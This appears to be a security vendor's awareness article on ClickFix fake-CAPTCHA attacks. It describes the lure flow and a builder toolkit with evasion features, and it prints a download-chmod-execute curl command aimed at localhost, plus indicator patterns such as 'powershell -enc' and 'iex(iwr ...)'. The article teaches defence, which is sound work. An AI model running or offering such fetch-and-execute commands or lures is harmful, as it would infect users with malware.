You visit a website. A CAPTCHA pops up, it looks exactly like a real Cloudflare or Google verification. You click “I’m not a robot.” Then it asks you to run a quick command to complete verification. You do it. Your computer is now infected. This is a ClickFix attack, and it’s spreading rapidly in 2026.
Table of Contents
1. What Is a ClickFix Attack?
2. How Does It Work? - Step by Step
3. Inside the ClickFix Builder Tool
4. The Fake CAPTCHA in Action
5. Malicious Command Execution
6. What Malware Gets Delivered?
7. Why This Attack Is So Dangerous
8. Indicators of Compromise (IOCs)
9. How to Protect Yourself
10. Conclusion
01 What Is a ClickFix Attack?
A ClickFix attack is a social engineering technique where attackers trick users into running malicious commands under the guise of “fixing” an issue or completing a verification step. Unlike traditional malware that silently installs itself, ClickFix makes the victim do all the work, which is exactly what makes it so effective. The attack does not exploit any software vulnerability. There is no hacking involved in the technical sense. Instead, it exploits human trust, specifically, the trust users have built with everyday verification systems like Cloudflare and Google reCAPTCHA.
How It Works : Brief Explanation
1. The victim lands on a compromised or fake website
2. A message appears claiming something is broken, “browser error,” “CAPTCHA failed,” or “update required.”
3. The site instructs the user to copy and paste a command into tools like PowerShell, Command Prompt, or the Run dialog
4. Once executed, that command silently downloads and runs malware on the victim’s device
Key Takeaway: ClickFix attacks don’t exploit software vulnerabilities. They exploit human behavior by turning the user into the execution mechanism. No patch can fix this; only awareness can.
02 How Does It Work? - Step by Step
The attack follows a carefully designed psychological flow. Each step builds false trust and pushes the victim closer to the final action, running a malicious command on their own machine.
1. Victim Visits a Fake or Compromised Website: The attacker either hacks a legitimate website or creates a convincing fake one. The victim arrives through a search result, social media link, or phishing message.
2. A Fake Verification Page Appears: A realistic Cloudflare or reCAPTCHA screen appears, saying “Verify you are human by completing the action below.” It looks identical to the real thing.
3. Victim Clicks “I’m Not a Robot”: Clicking the checkbox silently copies a malicious command to the victim’s clipboard. They have no idea this has happened.
4. Instructions to “Complete Verification”: The page then tells the victim to open their terminal or PowerShell, paste the copied command, and press Enter to “finish verification.”
5. Malware Executes Silently: The victim pastes and runs the command. Within seconds, it downloads and executes a malware payload, an info stealer, RAT, or ransomware loader.
03 Inside the ClickFix Builder Tool
During our research at ThreatWatch360, we got access to a ClickFix Builder, a ready-made toolkit that lets attackers generate and deploy these fake CAPTCHA pages with zero coding knowledge. The tool has a polished GUI with a Build Center, VPS Control panel, and real-time monitoring.
Builder Features
What the ClickFix Builder Offers:
1. Payload Command field: attacker pastes their malicious curl/PowerShell command here
2. Build Modes: “Portable File” for quick local testing, “VPS Deploy” for live attacks
3. Advanced Base64 Dropper: encodes the payload to evade antivirus detection
4. Custom URL field: points to attacker-controlled payload server
5. IP Blocking Rules: blocks security researchers and sandboxes from analyzing the page
6. Real-time System Log: shows live connections as victims trigger the fake CAPTCHA
What this means: An attacker with no programming skills can set up a live ClickFix attack in under 10 minutes. The builder handles everything: page generation, payload delivery, and live monitoring.
04 The Fake CAPTCHA in Action
Once deployed, the fake CAPTCHA page looks almost identical to a real Cloudflare or Google verification screen. There are two main variants attackers use: the fake Cloudflare check and the fake reCAPTCHA. Here is exactly what the victim sees.
Notice how both pages use real branding, real fonts, and accurate color schemes from Cloudflare and Google. The average user has no reason to suspect anything is wrong. This is what makes the ClickFix attack so devastatingly effective; it weaponizes the trust users have built with these legitimate services over the years.
05 Malicious Command Execution - What Really Happens
This is the most critical stage of the attack. After the victim clicks the fake checkbox, the page reveals “Verification Steps” — step-by-step instructions that guide the victim into executing the malware themselves.
The malicious command used in this attack: curlhttp://127.0.0.1:8000/payload.sh -o payload.sh && chmod +x payload.sh && ./payload.sh
This single line: downloads a shell script from the attacker’s server → makes it executable → runs it immediately. All in one command, completed in seconds.
The victim sees the terminal output scrolling and assumes verification is completing. In reality, the attacker’s payload is already running silently in the background, stealing data, installing backdoors, or preparing to encrypt files.
Why we used ThreatWatch360 as the test target: To demonstrate the attack in a safe, controlled environment without causing real harm. In an actual attack, this step would install an info stealer, open a C2 connection, or begin ransomware encryption.
06 What Malware Gets Delivered?
The ClickFix builder is payload-agnostic, meaning the attacker decides what malware gets delivered. The fake CAPTCHA is simply the delivery mechanism. In real-world attacks observed through 2025 and 2026, three types of malware are most commonly deployed:
1. Info Stealers: Steals saved passwords, browser cookies, credit card data, and crypto wallet keys from the victim’s device
2. Remote Access Trojans (RATs): Gives the attacker full remote control of the victim’s computer files, webcam, microphone, and keystrokes
3. Ransomware Loaders: Downloads and installs ransomware that encrypts all files on the device and demands payment to restore access
Why ClickFix bypasses antivirus: Because the user runs the command themselves, most endpoint security tools do not flag it. The execution looks like a normal user-initiated action, not an automated attack. Security tools are built to stop software from installing malware, not people.
07 Why This Attack Is So Dangerous
ClickFix is particularly alarming because it defeats nearly every layer of traditional cybersecurity defense simultaneously:
Risk Assessment
- Bypasses antivirus and EDR tools: The user, not software, executes the payload, so security tools see a “trusted” action
- No file download visible: Many variants run scripts directly from memory, leaving nothing on disk for scanners to detect
- Exploits trusted brand recognition: Cloudflare and Google CAPTCHA are things users see every single day, so they don’t question them
- Works on every operating system: Windows (PowerShell/Run dialog), macOS (Terminal), and Linux (Terminal) variants all exist
- Zero technical skill required: The builder GUI makes deployment trivial for anyone with basic computer knowledge
- IP blocking built in: Blocks security researchers from analyzing the page, extending how long the attack stays live
08 Indicators of Compromise (IOCs)
If you encounter any of the following warning signs while browsing, close the browser tab immediately and do not follow any instructions on the page:
i) Behavior:
• Any website asking you to open PowerShell, Terminal, or the Run dialog
• CAPTCHA page instructing you to press Windows Key + R or Ctrl + Alt + T
• The verification page asks you to paste a command and press Enter
• Cloudflare or Google verification on an unfamiliar or suspicious website
ii) Command Pattern:
• curl [URL] -o [file].sh && chmod +x [file].sh && ./[file].sh
• powershell -enc [Base64 string] or iex(iwr [URL])
iii) Infrastructure:
• Pages hosted on free VPS or unfamiliar domains using Cloudflare branding
09 How to Protect Yourself
The good news is that ClickFix attacks are completely preventable. Since they rely entirely on the victim taking a deliberate action, knowing what to look for is your complete defense.
1. Never Run Commands from Websites: No legitimate website ever needs you to open your terminal or PowerShell. This is a universal rule with zero exceptions.
2. Verify CAPTCHA Carefully: Real Cloudflare and Google CAPTCHA never ask you to run commands. If a CAPTCHA asks this, it is 100% fake; close the tab.
3. Check Your Clipboard First: If a website makes you click something, paste it into Notepad first before pasting anywhere else. See exactly what was copied.
4. Keep Security Software Updated: While ClickFix bypasses many AV tools, updated endpoint protection can still catch known payload signatures after execution begins.
5. Use a Non-Admin Account Daily: Running under a standard (non-administrator) account limits what malware can do, even if it gets executed on your device.
6. Educate Your Team: ClickFix specifically targets non-technical users who trust CAPTCHA pages instinctively. Share this article with your team.
The one rule that prevents 100% of ClickFix attacks: Never open a terminal or command prompt because a website told you to. No legitimate service, not Cloudflare, not Google, not Microsoft, will ever ask you to do this. Ever.
10 Conclusion
The ClickFix attack is a masterclass in social engineering. It requires no zero-day exploits, no sophisticated malware delivery chain, and no technical skill from the attacker. It simply requires that a victim trusts a CAPTCHA and follows instructions. What makes it especially alarming is the availability of ready-made builder tools that package this entire attack into a point-and-click interface. Anyone with a VPS and five minutes can deploy a convincing fake verification page capable of delivering ransomware, info stealers, or remote access trojans to victims worldwide. At ThreatWatch360, we believe education is the most powerful cybersecurity tool available. The entire ClickFix attack chain breaks the moment a potential victim knows one simple rule: legitimate websites never ask you to run terminal commands.
If you suspect your organization is being targeted by ClickFix or similar social engineering attacks, visit ThreatWatch360 to get a brand risk assessment and real-time threat monitoring for your domain.
